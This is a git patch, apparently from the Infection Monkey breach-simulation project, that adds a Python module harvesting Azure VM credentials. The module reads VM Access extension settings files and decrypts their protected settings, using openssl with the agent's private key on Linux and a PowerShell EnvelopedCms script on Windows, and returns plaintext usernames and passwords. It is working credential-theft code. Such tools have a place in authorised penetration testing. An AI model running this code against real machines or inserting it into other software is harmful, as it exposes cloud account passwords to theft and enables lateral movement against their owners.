From cb39be6f58452af951391feb1557396f7e13e1cd Mon Sep 17 00:00:00 2001 From: Daniel Goldberg Date: Thu, 22 Mar 2018 16:44:04 +0200 Subject: [PATCH] Initial commit of standalone Azure password harvester --- .../system_info/azure_cred_collector.py | 103 ++++++++++++++++++ 1 file changed, 103 insertions(+) create mode 100644 infection_monkey/system_info/azure_cred_collector.py diff --git a/infection_monkey/system_info/azure_cred_collector.py b/infection_monkey/system_info/azure_cred_collector.py new file mode 100644 index 000000000..d51587840 --- /dev/null +++ b/infection_monkey/system_info/azure_cred_collector.py @@ -0,0 +1,103 @@ +import sys +import logging +import os.path +import json +import glob +import subprocess + +__author__ = 'danielg' + +LOG = logging.getLogger(__name__) + + +class AzureCollector(object): + """ + Extract credentials possibly saved on Azure VM instances by the VM Access plugin + """ + + def __init__(self): + if sys.platform.startswith("win"): + self.path = "C:\\Packages\\Plugins\\Microsoft.Compute.VmAccessAgent\\2.4.2\\RuntimeSettings" + self.extractor = AzureCollector.get_pass_windows + else: + self.path = "/var/lib/waagent/Microsoft.OSTCExtensions.VMAccessForLinux-1.4.7.1/config" + self.extractor = AzureCollector.get_pass_linux + self.file_list = glob.iglob(os.path.join(self.path, "*.settings")) + + def extract_stored_credentials(self): + """ + Returns a list of username/password pairs saved under configuration files + :return: List of (user/pass), possibly empty + """ + results = [self.extractor(filepath) for filepath in self.file_list] + LOG.info("Found %d Azure VM access configuration file", len(results)) + return results + + @staticmethod + def get_pass_linux(filepath): + """ + Extract passwords from Linux azure VM Access files + :return: Username, password + """ + linux_cert_store = "/var/lib/waagent/" + try: + json_data = json.load(open(filepath, 'r')) + # this is liable to change but seems to be stable over the last year + protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings'] + cert_thumbprint = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettingsCertThumbprint'] + base64_command = """openssl base64 -d -a""" + priv_path = os.path.join(linux_cert_store, "%s.prv" % cert_thumbprint) + b64_proc = subprocess.Popen(base64_command.split(), stdin=subprocess.PIPE, stdout=subprocess.PIPE) + b64_result = b64_proc.communicate(input=protected_data + "\n")[0] + decrypt_command = 'openssl smime -inform DER -decrypt -inkey %s' % priv_path + decrypt_proc = subprocess.Popen(decrypt_command.split(), stdout=subprocess.PIPE, stdin=subprocess.PIPE) + decrypt_raw = decrypt_proc.communicate(input=b64_result)[0] + decrypt_data = json.loads(decrypt_raw) + return decrypt_data['username'], decrypt_data['password'] + except IOError: + LOG.warning("Failed to parse VM Access plugin file. Could not open file") + return None + except (KeyError, ValueError): + LOG.warning("Failed to parse VM Access plugin file. Invalid format") + return None + except subprocess.CalledProcessError: + LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data") + return None + + @staticmethod + def get_pass_windows(filepath): + """ + Extract passwords from Windows azure VM Access files + :return: Username,password + """ + try: + json_data = json.load(open(filepath, 'r')) + # this is liable to change but seems to be stable over the last year + protected_data = json_data['runtimeSettings'][0]['handlerSettings']['protectedSettings'] + username = json_data['runtimeSettings'][0]['handlerSettings']['publicSettings']['UserName'] + # we're going to do as much of this in PS as we can. + ps_block = ";\n".join([ + '[System.Reflection.Assembly]::LoadWithPartialName("System.Security") | Out-Null', + '$base64 = "%s"' % protected_data, + "$content = [Convert]::FromBase64String($base64)", + "$env = New-Object Security.Cryptography.Pkcs.EnvelopedCms", + "$env.Decode($content)", + "$env.Decrypt()", + "$utf8content = [text.encoding]::UTF8.getstring($env.ContentInfo.Content)", + "Write-Host $utf8content" # we want to simplify parsing + ]) + ps_proc = subprocess.Popen(["powershell.exe", "-NoLogo"], stdin=subprocess.PIPE, stdout=subprocess.PIPE) + ps_out = ps_proc.communicate(ps_block)[0] + # this is disgusting but the alternative is writing the file to disk... + password_raw = ps_out.split('\n')[-2].split(">")[1].split("$utf8content")[1] + password = json.loads(password_raw)["Password"] + return username, password + except IOError: + LOG.warning("Failed to parse VM Access plugin file. Could not open file") + return None + except (KeyError, ValueError): + LOG.warning("Failed to parse VM Access plugin file. Invalid format") + return None + except subprocess.CalledProcessError: + LOG.warning("Failed to decrypt VM Access plugin file. Failed to decode B64 and decrypt data") + return None